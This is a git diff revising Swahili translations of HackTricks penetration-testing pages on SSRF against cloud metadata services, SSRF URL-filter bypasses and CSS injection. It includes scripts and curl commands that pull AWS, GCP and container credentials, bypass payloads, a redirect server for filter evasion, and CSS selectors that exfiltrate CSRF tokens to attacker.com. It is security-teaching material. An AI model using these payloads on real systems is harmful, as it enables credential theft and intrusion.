2** la endpoint ya metadata. **La kwanza** inaruhusu **kufikia** endpoint kupitia maombi ya **GET** (hivyo **SSRF yoyote inaweza kuidhuru**). Kwa **toleo 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **tokeni** kwa kutuma ombi la **PUT** na **HTTP header** kisha kutumia tokeni hiyo kufikia metadata na HTTP header nyingine (hivyo ni **ngumu zaidi kuidhuru** na SSRF). {% hint style="danger" %} -Tafadhali kumbuka kwamba ikiwa kifaa cha EC2 kinaimarisha IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kikomo cha hatua 1**, kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye chombo ndani ya kifaa cha EC2. +Tambua kwamba ikiwa kifaa cha EC2 kinafuata IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kikomo cha hatua 1**, kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye chombo ndani ya kifaa cha EC2. -Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata tokeni ambayo yana kichwa cha `X-Forwarded-For`**. Hii ni ili kuzuia wakala wa kurudisha misimamo iliyopangwa vibaya kutoka kuweza kufikia hiyo. +Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata tokeni ambayo yanajumuisha kichwa cha `X-Forwarded-For`**. Hii ni ili kuzuia wakala wa kurudisha misimamo iliyopangwa vibaya kutoka kuweza kufikia hiyo. {% endhint %} -Unaweza kupata habari kuhusu [endpoints ya metadata katika nyaraka](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika script ifuatayo habari muhimu inapatikana kutoka kwake: +Unaweza kupata habari kuhusu [endpoints ya metadata katika nyaraka](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika hati ya kufuatia, habari muhimu inapatikana kutoka kwake: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" @@ -88,13 +96,13 @@ echo "" echo "EC2 Security Credentials" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" ``` -Kama mfano wa **vyeti vya IAM vinavyopatikana hadharani** vilivyofichuliwa unaweza kutembelea: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) +Kama mfano wa **vyeti vya IAM vilivyofichuliwa kwa umma** unaweza kutembelea: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) Unaweza pia kuangalia **vyeti vya usalama vya EC2 vya umma** katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) -Kisha unaweza kuchukua **vyeti hivyo na kuvitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina idhini** ya kufanya. +Kisha unaweza kuchukua **vyeti hivyo na kuvitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina ruhusa** kufanya. -Ili kunufaika na vyeti vipya, utahitaji kuunda wasifu mpya wa AWS kama huu: +Kutumia vyeti vipya, utahitaji kuunda wasifu mpya wa AWS kama huu: ``` [profilename] aws_access_key_id = ASIA6GG7PSQG4TCGYYOU @@ -107,7 +115,7 @@ Tambua **aws\_session\_token**, hii ni muhimu kwa wasifu kufanya kazi. ### SSRF katika AWS ECS (Huduma ya Kontena) siri -**ECS**, ni kikundi la mantiki la visa vya EC2 ambavyo unaweza kukimbia programu bila kuhitaji kupanua miundombinu yako ya usimamizi wa kikundi kwa sababu ECS inasimamia hilo kwa niaba yako. Ikiwa unafanikiwa kudukua huduma inayotumika katika **ECS**, **vifaa vya metadata hubadilika**. +**ECS**, ni kikundi la mantiki la visa vya EC2 ambavyo unaweza kukimbia programu bila kuhitaji kupanua miundombinu yako ya usimamizi wa kikundi kwa sababu ECS inasimamia hilo kwa niaba yako. Ikiwa unafanikiwa kudhoofisha huduma inayotumika katika **ECS**, **vifaa vya mwisho vya metadata** hubadilika. Ikiwa unafikia _**http://169.254.170.2/v2/credentials/\**_ utapata siri za mashine ya ECS. Lakini kwanza unahitaji **kupata \**. Ili kupata \ unahitaji kusoma **mazingira** ya kipekee **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** ndani ya mashine.\ Unaweza kuisoma kwa kutumia **Path Traversal** kwa `file:///proc/self/environ`\ @@ -116,23 +124,23 @@ Anwani ya http iliyotajwa inapaswa kukupa **AccessKey, SecretKey na token**. curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` {% hint style="info" %} -Tafadhali kumbuka kuwa **katika baadhi ya kesi** unaweza kupata ufikivu wa **taarifa ya kifaa cha EC2 metadata** kutoka kwenye kontena (angalia vikwazo vya TTL vya IMDSv2 vilivyotajwa hapo awali). Katika hali hizi kutoka kwenye kontena unaweza kupata ufikivu wa jukumu la IAM la kontena na jukumu la IAM la EC2. +Tafadhali elewa kwamba katika **baadhi ya kesi** utaweza kupata ufikivu wa **taarifa ya EC2 metadata instance** kutoka kwenye kontena (angalia vikwazo vya IMDSv2 TTL vilivyotajwa hapo awali). Katika hali hizi kutoka kwenye kontena unaweza kupata ufikivu wa jukumu la IAM la kontena na jukumu la IAM la EC2. {% endhint %} ### SSRF kwa AWS Lambda Katika kesi hii **vyeti vimehifadhiwa kwenye mazingira ya env**. Kwa hivyo, ili kuzipata unahitaji kupata kitu kama **`file:///proc/self/environ`**. -**Jina** la **mazingira muhimu ya env** ni: +**Jina** la **mazingira ya env yanayovutia** ni: * `AWS_SESSION_TOKEN` * `AWS_SECRET_ACCESS_KEY` * `AWS_ACCES_KEY_ID` -Zaidi ya hayo, mbali na vyeti vya IAM, Lambda functions pia zina **data ya tukio ambayo hupitishwa kwa kazi wakati inapoanzishwa**. Data hii inapatikana kwa kazi kupitia [interface ya runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **taarifa nyeti** (kama ndani ya **stageVariables**). Tofauti na vyeti vya IAM, data hii inapatikana kupitia SSRF ya kawaida kwa **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. +Zaidi ya hayo, mbali na vyeti vya IAM, Lambda functions pia zina **data ya tukio ambayo hupitishwa kwa kazi wakati inapoanzishwa**. Data hii inapatikana kwa kazi kupitia [interface ya runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **taarifa nyeti** (kama vile ndani ya **stageVariables**). Tofauti na vyeti vya IAM, data hii inapatikana kupitia SSRF ya kawaida kwa **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. {% hint style="warning" %} -Tafadhali kumbuka kuwa **vyeti vya lambda** vimo ndani ya **mazingira ya env**. Kwa hivyo, ikiwa **mnyororo wa kufuatilia** wa nambari ya lambda unachapisha mazingira ya env, ni rahisi kuzitoa kwa kusababisha **kosa katika programu**. +Tafadhali elewa kwamba **vyeti vya lambda** vimo ndani ya **mazingira ya env**. Kwa hivyo, ikiwa **mnyororo wa kufuatilia** wa nambari ya lambda unachapisha mazingira ya env, ni rahisi kuzipata kwa kusababisha **kosa katika programu**. {% endhint %} ### URL ya SSRF kwa AWS Elastic Beanstalk @@ -142,7 +150,7 @@ Tunapata `accountId` na `region` kutoka kwenye API. http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` -Tunakisha kupata `AccessKeyId`, `SecretAccessKey`, na `Token` kutoka kwa API. +Tunakisha kupata `AccessKeyId`, `SecretAccessKey`, na `Token` kutoka kwenye API. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` @@ -247,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` {% hint style="danger" %} -Ili **kutumia tokeni ya akaunti ya huduma iliyochotwa** unaweza tu kufanya: +Ili **kutumia tokeni ya akaunti ya huduma iliyochotwa**, unaweza tu kufanya: ```bash # Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN= @@ -267,7 +275,7 @@ Chukua token ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` -Angalia wigo wa token (kwa matokeo ya awali au uendeshe yafuatayo) +Angalia wigo wa tokeni (kwa matokeo ya awali au kwa kukimbia yafuatayo) ```bash curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", @@ -461,7 +469,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource ## IBM Cloud {% hint style="warning" %} -Tafadhali kumbuka kuwa kwa chaguo-msingi IBM metadata haijashughulikiwa, hivyo huenda usiweze kuipata hata kama uko ndani ya IBM cloud VM +Tafadhali elewa kwamba kwa chaguo-msingi IBM metadata haijashughulikiwa, hivyo huenda usiweze kuipata hata kama uko ndani ya IBM cloud VM {% endhint %} {% code overflow="wrap" %} @@ -490,7 +498,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc ``` {% endcode %} -Nyaraka kwa huduma za metadata za majukwaa mbalimbali zimeelezwa hapa chini, zikionyesha njia ambazo maelezo ya usanidi na uendeshaji kwa mifano zinaweza kupatikana. Kila jukwaa lina vituo vya pekee vya kupata huduma zake za metadata. +Nyaraka kwa huduma za metadata za majukwaa mbalimbali zimeelezwa hapa chini, zikionyesha njia ambazo maelezo ya usanidi na uendeshaji kwa ajili ya mifano yanaweza kupatikana. Kila jukwaa lina vituo vya pekee vya kupata huduma zake za metadata. ## Packetcloud @@ -534,7 +542,7 @@ Kubernetes ETCD inaweza kuhifadhi funguo za API, anwani za IP za ndani, na banda ## Docker -Metadata ya Docker inaweza kupatikana kwa ndani, na mifano zikitolewa kwa kupata maelezo ya kontena na picha: +Metadata ya Docker inaweza kupatikana kwa ndani, na mifano iliyotolewa kwa kupata maelezo ya kontena na picha: * Mfano rahisi wa kupata metadata ya kontena na picha kupitia soketi ya Docker: * `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` diff --git a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index c05d1fd5d..f1c4cbe81 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -6,7 +6,7 @@ Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -14,6 +14,14 @@ Njia nyingine za kusaidia HackTricks: +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ### Mwenyeji wa Ndani ```bash # Localhost @@ -85,7 +93,7 @@ spoofed.burpcollaborator.net = 127.0.0.1 ``` ![](<../../.gitbook/assets/image (649) (1) (1).png>) -**Kifaa cha Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) inatekeleza njia za kuepuka muundo wa IP. +**Kifaa cha Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) inatekeleza njia za kuepuka muundo wa IP. ### Mchambuzi wa Kikoa ```bash @@ -116,7 +124,7 @@ attacker。com Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` -### Mkanganyiko wa Kikoa +### Utata wa Kikoa ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http @@ -161,12 +169,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing -Chombo [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuzalisha mabadiliko kutoka kwa data iliyotolewa ili kujaribu kukiuka regex iliyotumiwa. Angalia [**chapisho hili**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi. +Chombo [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuzalisha mabadiliko kutoka kwa data iliyotolewa kujaribu kukiuka regex iliyotumiwa. Angalia [**chapisho hili**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi. -### Kupitisha kupitia kuelekeza +### Kukiuka kupitia kuelekeza -Inawezekana kwamba server ina **kuchuja ombi la awali** la SSRF **lakini sio** jibu la **kuelekeza** linalowezekana kwa ombi hilo. Kwa mfano, server inayoweza kudhurika na SSRF kupitia: `url=https://www.google.com/` inaweza **kuchuja paramu ya url**. Lakini ikiwa utatumia [server ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) mahali unapotaka kuelekeza, unaweza **kupata anwani za IP zilizofutwa** kama 127.0.0.1 au hata **itifaki zilizofutwa** kama gopher.\ -[Angalia ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) +Inawezekana kwamba server ina **kuchuja ombi la awali** la SSRF **lakini sio** jibu la **kuelekeza** linalowezekana kwa ombi hilo. Kwa mfano, server inayoweza kudhurika na SSRF kupitia: `url=https://www.google.com/` inaweza kuwa **kuchuja paramu ya url**. Lakini ikiwa unatumia [server ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizofutwa** kama 127.0.0.1 au hata **itifaki zilizofutwa** kama gopher.\ +[Tazama ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 @@ -187,11 +195,11 @@ self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` -## Mbinu Zilizoelezwa +## Maelezo ya Mbinu ### Mbinu ya Mshale-nyuma -_Mbinu ya mshale-nyuma_ inatumia tofauti kati ya [Kawaida ya URL ya WHATWG](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla kwa URIs, WHATWG ni maalum kwa URL za wavuti na imepokelewa na vivinjari vya kisasa. Tofauti kuu iko katika kutambua kwa kiwango cha WHATWG ya mshale-nyuma (`\`) kama sawa na mshale mbele (`/`), ikibadilisha jinsi URL zinavyopasuliwa, hasa kwa kuashiria mpito kutoka jina la mwenyeji kwenda kwenye njia katika URL. +_Mbinu ya mshale-nyuma_ inatumia tofauti kati ya [Kawaida ya URL ya WHATWG](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URL za wavuti na imepokelewa na vivinjari vya kisasa. Tofauti kuu iko katika kutambua kwa kiwango cha WHATWG ya mshale-nyuma (`\`) kama sawa na mshale mbele (`/`), ikibadilisha jinsi URL zinavyopasuliwa, hasa kwa kuashiria mpito kutoka jina la mwenyeji kwenda kwenye njia katika URL. ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) @@ -206,16 +214,22 @@ picha kutoka [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsin * [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) +**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
diff --git a/pentesting-web/xs-search/css-injection/README.md b/pentesting-web/xs-search/css-injection/README.md index 48a8a1d74..c6ac84817 100644 --- a/pentesting-web/xs-search/css-injection/README.md +++ b/pentesting-web/xs-search/css-injection/README.md @@ -1,4 +1,4 @@ -# Uingizaji wa CSS +# Kuingiza CSS
@@ -6,19 +6,27 @@ Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
-## Uingizaji wa CSS +**Kikundi cha Usalama cha Kujitahidi Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +## Kuingiza CSS ### Chaguo la Sifa -Vidhibiti vya CSS vinaundwa ili kulinganisha thamani za `jina` na `thamani` ya kipengele cha `input`. Ikiwa thamani ya kipengele cha input inaanza na herufi maalum, rasilimali ya nje iliyopangwa tayari inasomwa: +Vichaguzi vya CSS vimeundwa kulingana na thamani za sifa za `jina` na `thamani` ya kipengele cha `input`. Ikiwa thamani ya sifa ya kipengele cha `input` inaanza na herufi maalum, rasilimali ya nje iliyopangwa huload: ```css input[name=csrf][value^=a]{ background-image: url(https://attacker.com/exfil/a); @@ -31,30 +39,28 @@ input[name=csrf][value^=9]{ background-image: url(https://attacker.com/exfil/9); } ``` -Hata hivyo, njia hii inakabiliwa na kikwazo wakati inashughulikia vipengele vya pembejeo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakii mandharinyuma. +Hata hivyo, njia hii inakabiliwa na kikwazo wakati wa kushughulikia vipengele vya pembejeo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakii mandharinyuma. -#### Kuepuka Vipengele Vilivyofichwa +#### Kupita kwa Vipengele Vilivyofichwa -Ili kuzunguka kikwazo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia kishikilizi cha ndugu cha jumla `~`. Sheria ya CSS basi inatumika kwa ndugu zote zinazofuata kipengele cha pembejeo kilichofichwa, ikisababisha picha ya mandharinyuma kupakia: +Ili kuzunguka kikwazo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia kielekezi cha ndugu wa jumla `~`. Sheria ya CSS basi inatumika kwa ndugu wote wanaofuata kipengele kilichofichwa cha pembejeo, ikisababisha picha ya mandharinyuma kupakia: ```css input[name=csrf][value^=csrF] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Mfano wa vitendo wa kutumia mbinu hii umeelezwa kwa undani katika kificho kilichotolewa. Unaweza kuona kificho hicho [hapa](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +#### Mahitaji ya Kuingiza CSS -#### Mahitaji ya CSS Injection +Ili mbinu ya Kuingiza CSS iwe na ufanisi, lazima kuna hali fulani zilizokidhi: -Ili mbinu ya CSS Injection iwe na ufanisi, hali zifuatazo lazima zitimizwe: +1. **Urefu wa Mzigo**: Vector ya kuingiza CSS lazima iweze kusaidia mizigo ya kutosha kuingiza machaguo yaliyoundwa. +2. **Upya wa CSS**: Unapaswa kuwa na uwezo wa kuunda ukurasa, ambao ni muhimu kusababisha upya wa CSS na mizigo iliyozalishwa kwa upya. +3. **Rasilimali za Nje**: Mbinu hii inahitaji uwezo wa kutumia picha zilizohifadhiwa nje. Hii inaweza kuzuiliwa na Sera ya Usalama wa Yaliyomo (CSP) ya tovuti. -1. **Urefu wa Payload**: Vector ya CSS injection lazima iweze kusaidia payloads ndefu vya kutosha kuwezesha utekelezaji wa selectors uliotengenezwa. -2. **Upya wa CSS**: Lazima uwe na uwezo wa kuunda ukurasa, ambao ni muhimu kwa kuzindua upya wa CSS na payloads mpya zilizotengenezwa. -3. **Rasilimali za Nje**: Mbinu hii inategemea uwezo wa kutumia picha zilizohifadhiwa nje ya tovuti. Hii inaweza kuwa imezuiliwa na Sera ya Usalama ya Yaliyomo (CSP) ya tovuti. +### Chaguo la Kipofu la Mchaguzi wa Sifa -### Kuchagua Kipengele kwa Kipengele Kipofu - -Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), ni muhimu kuunganisha selectors **`:has`** na **`:not`** ili kutambua maudhui hata kutoka kwenye vipengele vipofu. Hii ni muhimu sana wakati huna wazo la kilichomo ndani ya ukurasa wa wavuti unaojaza CSS injection.\ -Pia ni muhimu kutumia selectors hizo kuondoa habari kutoka kwenye vikundi kadhaa vya aina ile ile kama vile: +Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), inawezekana kuunganisha wachaguzi **`:has`** na **`:not`** kutambua yaliyomo hata kutoka kwa vipengele vipofu. Hii ni muhimu sana unapokuwa huna wazo la kilichomo ndani ya ukurasa wa wavuti unaoingiza CSS.\ +Pia inawezekana kutumia wachaguzi hao kutolea habari kutoka kwa vikundi kadhaa vya aina ile ile kama vile: ```html